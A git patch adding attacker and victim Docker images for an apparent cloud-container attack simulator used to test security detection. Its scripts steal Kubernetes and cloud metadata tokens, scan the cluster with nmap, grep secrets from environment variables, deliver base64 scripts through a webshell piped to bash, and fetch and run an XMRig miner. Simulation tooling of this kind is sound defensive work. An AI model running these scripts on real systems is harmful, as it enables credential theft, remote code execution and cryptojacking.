From 6d6aa452916593409fa5c1fe6e42eeca2f3ad058 Mon Sep 17 00:00:00 2001 From: lleizerovich Date: Tue, 17 Sep 2024 08:47:07 +0300 Subject: [PATCH] Added Images source files --- Images/attacker/Dockerfile | 8 +++ Images/attacker/src/all-scenarios.sh | 67 ++++++++++++++++++++++++ Images/attacker/src/attack.sh | 41 +++++++++++++++ Images/attacker/src/crypto.sh | 7 +++ Images/attacker/src/lateral-mov.sh | 15 ++++++ Images/attacker/src/recon.sh | 11 ++++ Images/attacker/src/secrets-and-files.sh | 19 +++++++ Images/attacker/src/xmrig | 0 Images/victim/Dockerfile | 10 ++++ Images/victim/cfg/nginx.conf | 21 ++++++++ Images/victim/cfg/start-server.sh | 7 +++ Images/victim/cfg/web.conf | 17 ++++++ Images/victim/files/azure.json | 1 + Images/victim/src/ws.php | 1 + 14 files changed, 225 insertions(+) create mode 100644 Images/attacker/Dockerfile create mode 100644 Images/attacker/src/all-scenarios.sh create mode 100644 Images/attacker/src/attack.sh create mode 100644 Images/attacker/src/crypto.sh create mode 100644 Images/attacker/src/lateral-mov.sh create mode 100644 Images/attacker/src/recon.sh create mode 100644 Images/attacker/src/secrets-and-files.sh create mode 100644 Images/attacker/src/xmrig create mode 100644 Images/victim/Dockerfile create mode 100644 Images/victim/cfg/nginx.conf create mode 100644 Images/victim/cfg/start-server.sh create mode 100644 Images/victim/cfg/web.conf create mode 100644 Images/victim/files/azure.json create mode 100644 Images/victim/src/ws.php diff --git a/Images/attacker/Dockerfile b/Images/attacker/Dockerfile new file mode 100644 index 0000000..08f10fb --- /dev/null +++ b/Images/attacker/Dockerfile @@ -0,0 +1,8 @@ +FROM mcr.microsoft.com/cbl-mariner/base/core:2.0 +RUN tdnf -y update && tdnf -y install python3 curl && tdnf clean all +COPY src/ /simulation +WORKDIR /simulation +RUN chmod +x attack.sh +ENV SCENARIO=all +ENV NAME=mdc-simulator +CMD ["./attack.sh"] diff --git a/Images/attacker/src/all-scenarios.sh b/Images/attacker/src/all-scenarios.sh new file mode 100644 index 0000000..d4c588b --- /dev/null +++ b/Images/attacker/src/all-scenarios.sh @@ -0,0 +1,67 @@ +#!/bin/sh + +# recon +echo "--- Reconnaissance ---" +echo "Checking read permissions for other pods via SelfSubjectAccessReview api request" +kubetoken=`cat /var/run/secrets/kubernetes.io/serviceaccount/token` +body='{"kind":"SelfSubjectAccessReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"resourceAttributes":{"namespace":"default","verb":"get","resource":"pods"}},"status":{}}' +accessReview=`curl -s -k -A "kubectl" -H "Authorization: Bearer $kubetoken" -H "Content-Type: application/json" -X POST -d $body "https://kubernetes.default/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"| grep -Po '"status":\{\K.*?(?=\})'` +echo "Results: $accessReview" +echo " " +echo "Searching for pods listening on port 443 via Nmap: " +nmap -Pn --open kubernetes.default/24 -p 443 +echo " " + +# lateral-mov +echo "--- Lateral Movement ---" +echo "Sending request to IMDS to retrieve cloud identity token" +if (token=$(curl -s -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"| grep -Po '"access_token":"\K.*?(?=")')); then + cloud="gcp" +elif (awstoken=$(curl -sf -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")); then + cloud="aws" + roles=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials" -H "X-aws-ec2-metadata-token: $awstoken") + for role in $roles; do + token=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" -H "X-aws-ec2-metadata-token: $awstoken" | grep -Po '"Token" : "\K.*?(?=")') + test $token && echo "$cloud token for role : $token" | head -c 50 && echo "..." + done + test $token || echo "no token found" +else + cloud="az" + token=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com" | grep -Po '"access_token":"\K.*?(?=")') +fi +test $token && echo "$cloud token: $token" | head -c 50 && echo "..." || echo "no token found" +echo " " + +# secrets +echo "--- Secrets Gathering ---" +echo "searching for kubernetes service account token" +if (test -f "/var/run/secret/kubernetes.io/serviceaccount/token"); then + echo "found Kubernetes service account in /var/run/secret/kubernetes.io/serviceaccount/token" + cat /var/run/secret/kubernetes.io/serviceaccount/token | head -c 50 && echo "..." + echo " " +else + echo "Kubernetes service account token not found" + echo " " +fi +echo "looking for secrets in environment variables" +case $cloud in + gcp) + set | grep GOOGLE_DEFAULT_CLIENT_SECRET= || echo "variable not found" + ;; + aws) + set | grep AWS_SECRET_ACCESS_KEY= || echo "variable not found" + ;; + *) + set | grep AZURE_CREDENTIAL_FILE= || echo "variable not found" + ;; + esac +echo " " + +# crypto +echo "--- Cryptomining ---" +echo "Optimizing host for mining" +/sbin/modprobe msr allow_writes=on > /dev/null 2>&1 +touch /etc/ld.so.preload +echo "Downloading and running Xmrig crypto miner" +curl -s "http://$NAME-attacker/xmrig" -o xmrig && chmod +x xmrig && ./xmrig +echo " " \ No newline at end of file diff --git a/Images/attacker/src/attack.sh b/Images/attacker/src/attack.sh new file mode 100644 index 0000000..fbc50db --- /dev/null +++ b/Images/attacker/src/attack.sh @@ -0,0 +1,41 @@ +#!/bin/bash +sleep 10 +echo "started at `date`" +echo " " +case $SCENARIO in + recon) + attack_script=recon.sh + ;; + lateral-mov) + attack_script=lateral-mov.sh + ;; + secrets) + attack_script=secrets-and-files.sh + ;; + crypto) + attack_script=crypto.sh + python3 -m http.server 80 & + ;; + all) + attack_script=all-scenarios.sh + python3 -m http.server 80 & + ;; + webshell) + echo "--- Webshell ---" + echo "sending command \"whoami\" to victim" + curl -Gs --data-urlencode "cmd=whoami" "http://$NAME-victim/ws.php" + echo " " + echo "--- simulation completed ---" + exit + ;; + *) + echo "No matching scenario found. exiting" + exit + ;; + esac +script_b64=`cat $attack_script | base64 -w0` +echo "--- Webshell ---" +echo "sending payload request to the victim pod" +echo " " +curl -Gs --data-urlencode "cmd=echo $script_b64| base64 -d| bash" "http://$NAME-victim/ws.php" +echo "--- simulation completed ---" \ No newline at end of file diff --git a/Images/attacker/src/crypto.sh b/Images/attacker/src/crypto.sh new file mode 100644 index 0000000..accd76b --- /dev/null +++ b/Images/attacker/src/crypto.sh @@ -0,0 +1,7 @@ +echo "--- Cryptomining ---" +echo "Optimizing host for mining" +/sbin/modprobe msr allow_writes=on > /dev/null 2>&1 +touch /etc/ld.so.preload +echo "Downloading and running Xmrig crypto miner" +curl -s "http://$NAME-attacker/xmrig" -o xmrig && chmod +x xmrig && ./xmrig +echo " " \ No newline at end of file diff --git a/Images/attacker/src/lateral-mov.sh b/Images/attacker/src/lateral-mov.sh new file mode 100644 index 0000000..efa66bc --- /dev/null +++ b/Images/attacker/src/lateral-mov.sh @@ -0,0 +1,15 @@ +#!/bin/sh +echo "--- Lateral Movement ---" +echo "Sending request to IMDS to retrieve cloud identity token" +if (token=$(curl -s -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"| grep -Po '"access_token":"\K.*?(?=")')); then + cloud="gcp" +elif (awstoken=$(curl -sf -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")); then + cloud="aws" + role=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials" -H "X-aws-ec2-metadata-token: $awstoken") + token=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" -H "X-aws-ec2-metadata-token: $awstoken" | grep -Po '"Token" : "\K.*?(?=")') +else + cloud="az" + token=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com" | grep -Po '"access_token":"\K.*?(?=")') +fi +test $token && echo "$cloud token: $token" | head -c 50 && echo "..." || echo "no token found" +echo " " diff --git a/Images/attacker/src/recon.sh b/Images/attacker/src/recon.sh new file mode 100644 index 0000000..2d0ea32 --- /dev/null +++ b/Images/attacker/src/recon.sh @@ -0,0 +1,11 @@ +#!/bin/sh +echo "--- Reconnaissance ---" +echo "Checking read permissions for other pods via SelfSubjectAccessReview api request" +kubetoken=`cat /var/run/secrets/kubernetes.io/serviceaccount/token` +body='{"kind":"SelfSubjectAccessReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"resourceAttributes":{"namespace":"default","verb":"get","resource":"pods"}},"status":{}}' +accessReview=`curl -s -k -A "kubectl" -H "Authorization: Bearer $kubetoken" -H "Content-Type: application/json" -X POST -d $body "https://kubernetes.default/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"| grep -Po '"status":\{\K.*?(?=\})'` +echo "Results: $accessReview" +echo " " +echo "Searching for pods listening on port 443 via Nmap: " +nmap -Pn --open kubernetes.default/24 -p 443 +echo " " diff --git a/Images/attacker/src/secrets-and-files.sh b/Images/attacker/src/secrets-and-files.sh new file mode 100644 index 0000000..d6e09e5 --- /dev/null +++ b/Images/attacker/src/secrets-and-files.sh @@ -0,0 +1,19 @@ +#!/bin/sh +echo "--- Secrets Gathering ---" +echo "searching for kubernetes service account token" +if (test -f "/var/run/secret/kubernetes.io/serviceaccount/token"); then + echo "found Kubernetes service account in /var/run/secret/kubernetes.io/serviceaccount/token" + cat /var/run/secret/kubernetes.io/serviceaccount/token | head -c 50 && echo "..." +else + echo "Kubernetes service account token not found" +fi +echo " " +echo "looking for secrets in environment variables" +if (`curl -sf -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/" -o /dev/null`); then + set | grep GOOGLE_DEFAULT_CLIENT_SECRET= || echo "variables not found" +elif (`curl -sf -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -o /dev/null`); then + set | grep AWS_SECRET_ACCESS_KEY= || echo "variables not found" +else + set | grep AZURE_CREDENTIAL_FILE= || echo "variables not found" +fi +echo " " diff --git a/Images/attacker/src/xmrig b/Images/attacker/src/xmrig new file mode 100644 index 0000000..e69de29 diff --git a/Images/victim/Dockerfile b/Images/victim/Dockerfile new file mode 100644 index 0000000..97e9166 --- /dev/null +++ b/Images/victim/Dockerfile @@ -0,0 +1,10 @@ +FROM mcr.microsoft.com/cbl-mariner/base/core:2.0 +RUN tdnf -y update && tdnf install -y nginx php php-fpm nmap curl && tdnf clean all +RUN mkdir -p /run/php-fpm +COPY src/ /var/www/html +COPY files/ /files +COPY cfg/nginx.conf /etc/nginx/nginx.conf +COPY cfg/web.conf /etc/php-fpm.d/web.conf +RUN mkdir /var/lib/nginx +ENV NAME=mdc-simulation +CMD ["sh", "-c", "php-fpm && nginx -g 'daemon off;'"] diff --git a/Images/victim/cfg/nginx.conf b/Images/victim/cfg/nginx.conf new file mode 100644 index 0000000..693a625 --- /dev/null +++ b/Images/victim/cfg/nginx.conf @@ -0,0 +1,21 @@ +worker_processes 1; +events { + worker_connections 1024; +} +http { + include mime.types; + default_type application/octet-stream; + sendfile on; + keepalive_timeout 65; + types_hash_max_size 4096; + server { + listen 80; + server_name localhost $NAME-victim; + root /var/www/html; + index index.php index.html index.htm; + location ~ \.php$ { + include fastcgi.conf; + fastcgi_pass unix:/run/php-fpm/web.sock; + } + } +} \ No newline at end of file diff --git a/Images/victim/cfg/start-server.sh b/Images/victim/cfg/start-server.sh new file mode 100644 index 0000000..d857799 --- /dev/null +++ b/Images/victim/cfg/start-server.sh @@ -0,0 +1,7 @@ +#!/bin/sh +export NAME=mdc-simulation +export AZURE_CREDENTIAL_FILE="/azure/creds" +export GOOGLE_DEFAULT_CLIENT_SECRET="client_secret" +export AWS_SECRET_ACCESS_KEY="secret_key" +php-fpm +nginx -g 'daemon off; \ No newline at end of file diff --git a/Images/victim/cfg/web.conf b/Images/victim/cfg/web.conf new file mode 100644 index 0000000..dc623f5 --- /dev/null +++ b/Images/victim/cfg/web.conf @@ -0,0 +1,17 @@ +[web] +user = nginx +group = nginx +listen = /run/php-fpm/web.sock +listen.acl_users = nginx,root +listen.allowed_clients = 127.0.0.1 +pm = dynamic +pm.max_children = 50 +pm.start_servers = 5 +pm.min_spare_servers = 5 +pm.max_spare_servers = 35 +slowlog = /var/log/php-fpm/web-slow.log +php_admin_value[error_log] = /var/log/php-fpm/web-error.log +php_admin_flag[log_errors] = on +php_value[session.save_handler] = files +php_value[session.save_path] = /var/lib/php/session +php_value[soap.wsdl_cache_dir] = /var/lib/php/wsdlcache diff --git a/Images/victim/files/azure.json b/Images/victim/files/azure.json new file mode 100644 index 0000000..4d8b25a --- /dev/null +++ b/Images/victim/files/azure.json @@ -0,0 +1 @@ +sensitive data \ No newline at end of file diff --git a/Images/victim/src/ws.php b/Images/victim/src/ws.php new file mode 100644 index 0000000..39ab51e --- /dev/null +++ b/Images/victim/src/ws.php @@ -0,0 +1 @@ +